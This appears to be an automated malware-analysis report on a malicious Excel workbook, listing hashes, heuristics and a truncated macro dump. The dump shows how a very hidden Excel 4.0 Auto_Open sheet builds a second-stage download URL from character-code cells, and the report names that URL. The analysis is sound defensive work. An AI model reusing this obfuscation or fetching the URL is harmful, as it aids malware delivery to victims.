Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f1ced9008d9de410…

MALICIOUS

Office (OLE)

164.0 KB Created: 2020-02-27 10:23:09 Authoring application: Microsoft Excel First seen: 2020-07-24
MD5: 85e749c30e18608180a4456c4a10f188 SHA-1: d7e2892d000e1bc76ac0412318ba4045ff905c76 SHA-256: f1ced9008d9de4109844d99fc924b6e3e4a4062ed37b52ce4b5baed430d004cf
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open macro, which is a critical finding. These macros are designed to execute dangerous functions and reconstruct a URL from cell arrays. The reconstructed URL, https://grpxmqnrb.pw/egrg4g3g, is highly suspicious and likely serves as a download source for a second-stage payload. The presence of XLM macros indicates a macro-based execution technique.

Heuristics 5

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • URL reconstructed from XLM cell array (1 URL) critical OLE_XLM_CELL_ARRAY_URL
    Excel 4.0 macro sheet stages its payload URL across the BIFF8 Shared String Table (one quoted-char SST entry concatenated with & at runtime), across individual numeric cells (one ASCII charcode per cell), or split across multi-char fragment cells a download formula concatenates by reference (=A1&A2&… / CONCATENATE(...)). The reconstructed URL is invisible to literal-bytes URL extraction because it is never contiguous in the workbook stream. URLs were recovered by walking the BIFF8 record stream and decoding SST entries, LABELSST/RK/NUMBER cells, and FORMULA cell-reference concatenation in token order.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://grpxmqnrb.pw/egrg4g3g Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlReferenced by macro
    • http://schemas.microsoft.com/DataMashupReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 45231 bytes
SHA-256: b67ae1e98191e3fa03889f5f606595d0efc332680f34e635c50a1730dc9682cb
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, very hidden -  ic6PSlIRI
' 0018     29 LABEL : Cell Value, String Constant - _xlfn.CONCAT hidden len=2 ptgErr  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x1d'
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!S1 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  ic6PSlIRI,A1,"",61.00000000000000000000
'  ic6PSlIRI,B1,CHAR(A1),""
'  ic6PSlIRI,C1,"",61.00000000000000000000
'  ic6PSlIRI,D1,CHAR(C1),""
'  ic6PSlIRI,E1,"",61.00000000000000000000
'  ic6PSlIRI,F1,CHAR(E1),""
'  ic6PSlIRI,G1,"",61.00000000000000000000
'  ic6PSlIRI,H1,CHAR(G1),""
'  ic6PSlIRI,I1,"",61.00000000000000000000
'  ic6PSlIRI,J1,CHAR(I1),""
'  ic6PSlIRI,K1,"",61.00000000000000000000
'  ic6PSlIRI,L1,CHAR(K1),""
'  ic6PSlIRI,M1,"",61.00000000000000000000
'  ic6PSlIRI,N1,CHAR(M1),""
'  ic6PSlIRI,O1,"",61.00000000000000000000
'  ic6PSlIRI,P1,CHAR(O1),""
'  ic6PSlIRI,Q1,"",61.00000000000000000000
'  ic6PSlIRI,R1,CHAR(Q1),""
'  ic6PSlIRI,S1,"FORMULA(B1&B2&B3&B4&B5&B6&B7&B8&B9&B10&B11&B12&B13&B14&B15&B16&B17&B18&B19&B20&B21&B22&B23&B24&B25&B26&B27&B28&B29&B30&B31&B32&B33&B34&B35&B36&B37&B38&B39&B40&B41,T1)",""
'  ic6PSlIRI,A2,"",73.00000000000000000000
'  ic6PSlIRI,B2,[],""
'  ic6PSlIRI,C2,"",73.00000000000000000000
'  ic6PSlIRI,D2,CHAR(C2),""
'  ic6PSlIRI,E2,"",73.00000000000000000000
'  ic6PSlIRI,F2,CHAR(E2),""
'  ic6PSlIRI,G2,"",73.00000000000000000000
'  ic6PSlIRI,H2,CHAR(G2),""
'  ic6PSlIRI,I2,"",73.00000000000000000000
'  ic6PSlIRI,J2,CHAR(I2),""
'  ic6PSlIRI,K2,"",67.00000000000000000000
'  ic6PSlIRI,L2,CHAR(K2),""
'  ic6PSlIRI,M2,"",65.00000000000000000000
'  ic6PSlIRI,N2,CHAR(M2),""
'  ic6PSlIRI,O2,"",67.00000000000000000000
'  ic6PSlIRI,P2,CHAR(O2),""
'  ic6PSlIRI,Q2,"",67.00000000000000000000
'  ic6PSlIRI,R2,CHAR(Q2),""
'  ic6PSlIRI,S2,"FORMULA(D1&D2&D3&D4&D5&D6&D7&D8&D9&D10&D11&D12&D13&D14&D15&D16&D17&D18&D19&D20&D21&D22&D23&D24&D25&D26&D27&D28&D29&D30&D31&D32&D33&D34&D35&D36&D37&D38&D39&D40&D41,T2)",""
'  ic6PSlIRI,A3,"",70.00000000000000000000
'  ic6PSlIRI,B3,[],""
'  ic6PSlIRI,C3,"",70.00000000000000000000
'  ic6PSlIRI,D3,CHAR(C3),""
'  ic6PSlIRI,E3,"",70.00000000000000000000
'  ic6PSlIRI,F3,CHAR(E3),""
'  ic6PSlIRI,G3,"",70.00000000000000000000
'  ic6PSlIRI,H3,CHAR(G3),""
'  ic6PSlIRI,I3,"",70.00000000000000000000
'  ic6PSlIRI,J3,CHAR(I3),""
'  ic6PSlIRI,K3,"",65.00000000000000000000
'  ic6PSlIRI,L3,CHAR(K3),""
'  ic6PSlIRI,M3,"",76.00000000000000000000
'  ic6PSlIRI,N3,CHAR(M3),""
'  ic6PSlIRI,O3,"",65.00000000000000000000
'  ic6PSlIRI,P3,CHAR(O3),""
'  ic6PSlIRI,Q3,"",76.00000000000000000000
'  ic6PSlIRI,R3,CHAR(Q3),""
'  ic6PSlIRI,S3,"FORMULA(F1&F2&F3&F4&F5&F6&F7&F8&F9&F10&F11&F12&F13&F14&F15&F16&F17&F18&F19&F20&F21&F22&F23&F24&F25&F26&F27&F28&F29&F30&F31&F32&F33&F34&F35,T3)",""
'  ic6PSlIRI,A4,"",40.00000000000000000000
'  ic6PSlIRI,B4,[],""
'  ic6PSlIRI,C4,"",40.00000000000000000000
'  ic6PSlIRI,D4,CHAR(C4),""
'  ic6PSlIRI,E4,"",40.00000000000000000000
'  ic6PSlIRI,F4,CHAR(E4),""
'  ic6PSlIRI,G4,"",40.00000000000000000000
'  ic6PSlIRI,H4,CHAR(G4),""
'  ic6PSlIRI,I4,"",40.00000000000000000000
'  ic6PSlIRI,J4,CHAR(I4),""
'  ic6PSlIRI,K4,"",76.00000000000000000000
'  ic6PSlIRI,L4,CHAR(K4),""
'  ic6PSlIRI,M4,"",69.00000000000000000000
'  ic6PSlIRI,N4,CHAR(M4),""
'  ic6PSlIRI,O4,"",76.00000000000000000000
'  ic6PSlIRI
... (truncated)